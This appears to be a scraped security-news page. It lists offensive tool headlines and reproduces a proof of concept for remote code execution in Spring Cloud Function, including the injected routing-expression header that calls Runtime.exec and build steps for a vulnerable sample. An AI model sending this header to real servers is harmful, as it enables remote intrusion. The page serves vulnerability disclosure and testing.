R K
.png "Havoc : Modern and malleable post-exploitation command and control framework")
.png "OFRAK : Unpack, Modify, And Repack Binaries")
.png "Autobloody : Tool To Automatically Exploit Active Directory Privilege Escalation Paths Shown By BloodHound")
.png "S3Crets Scanner : Hunting For Secrets Uploaded To Public S3 Buckets")
.png "NetLlix : Tool To Emulate & Test Exfiltration Of Data Over Different Network Protocols")
.png "Squarephish : OAuth Device Code Authentication Flow & QR codes")
.png "HTTPLoot : An Automated Tool Which Can Simultaneously Crawl, Fill Forms, Trigger Error/Debug Pages")
HOT NEWS
Spring-Spel-0Day-Poc : Spring-Cloud / spring-cloud-function, spring.cloud.function.routing-expression
Spring-Spel-0Day-Poc is spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")
build
wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zipunzip v3.1.6.zipcd spring-cloud-function-3.1.6cd spring-cloud-function-samples/function-sample-pojomvn packagejava -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar
get path lists for test
find . -name "*.java"|xargs -I %...
